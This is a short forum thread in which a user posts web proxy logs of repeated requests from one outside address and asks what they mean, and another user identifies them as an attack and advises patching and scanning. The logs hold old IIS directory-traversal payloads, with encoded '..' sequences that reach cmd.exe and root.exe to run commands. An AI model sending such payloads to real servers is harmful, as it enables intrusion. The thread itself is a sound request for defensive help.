What is this?

[e46fan]

I found the following in my Web Proxy logs. I don't know what is going on. We us NAT and that IP is not a internal IP. Does anyone know whats happening? Can I do something to stop it? Its been going on for a few days.

67.173.220.225 anonymous - N 2004-03-27 18:00:13 CCIISA -

http://www -

- 2297 72 - - GET

http://www/scripts/root.exe?/c+dir

- 12202
67.173.220.225 anonymous - N 2004-03-27 18:00:15 CCIISA -

http://www -

- 2297 70 - - GET

http://www/MSADC/root.exe?/c+dir

- 12202
67.173.220.225 anonymous - N 2004-03-27 18:00:18 CCIISA -

http://www -

- 2282 80 - - GET

http://www/c/winnt/system32/cmd.exe?/c+dir

- 12202
67.173.220.225 anonymous - N 2004-03-27 18:00:21 CCIISA -

http://www -

- 2297 80 - - GET

http://www/d/winnt/system32/cmd.exe?/c+dir

- 12202
67.173.220.225 anonymous - N 2004-03-27 18:00:23 CCIISA -

http://www -

- 2282 96 - - GET

http://www/scripts/..%5c../winnt/system32/cmd.exe?/c+dir

- 12202
67.173.220.225 anonymous - N 2004-03-27 18:00:26 CCIISA -

http://www -

- 2297 117 - - GET

http://www/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir

- 12202
67.173.220.225 anonymous - N 2004-03-27 18:00:28 CCIISA -

http://www -

- 2282 117 - - GET

http://www/_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir

- 12202
67.173.220.225 anonymous - N 2004-03-27 18:00:31 CCIISA -

http://www -

- 2281 145 - - GET

http://www/msadc/..%255c../..%255c....1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir

- 12202
67.173.220.225 anonymous - N 2004-03-27 18:00:33 CCIISA -

http://www -

- 2297 97 - - GET

http://www/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir

- 12202
67.173.220.225 anonymous - N 2004-03-27 18:00:35 CCIISA -

http://www -

- 2296 97 - - GET

http://www/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir

- 12202
67.173.220.225 anonymous - N 2004-03-27 18:00:38 CCIISA -

http://www -

- 2297 97 - - GET

http://www/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir

- 12202
67.173.220.225 anonymous - N 2004-03-27 18:00:40 CCIISA -

http://www -

- 2297 97 - - GET

http://www/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir

- 12202
67.173.220.225 anonymous - N 2004-03-27 18:00:41 CCIISA -

http://www -

- - 98 - - GET

http://www/scripts/..%5c../winnt/system32/cmd.exe?/c+dir

- 12005
67.173.220.225 anonymous - N 2004-03-27 18:00:41 CCIISA -

http://www -

- - 96 - - GET

http://www/scripts/..%5c../winnt/system32/cmd.exe?/c+dir

- 12005
67.173.220.225 anonymous - N 2004-03-27 18:00:43 CCIISA -

http://www -

- 2297 100 - - GET

http://www/scripts/..%5c../winnt/system32/cmd.exe?/c+dir

- 12202
67.173.220.225 anonymous - N 2004-03-27 18:00:45 CCIISA -

http://www -

- 2297 96 - - GET

http://www/scripts/..%2f../winnt/system32/cmd.exe?/c+dir

- 12202

Thanks in advance.

 

[PhillyCheeseSteak]

Yes, someone is hacking you. Install the service packs and critical updates, disable any unneeded services, and verify that no additional programs have been installed on that box. Run a virus scan.

These requests should be denied, but it doesnt appear from the log that they are...

-Phil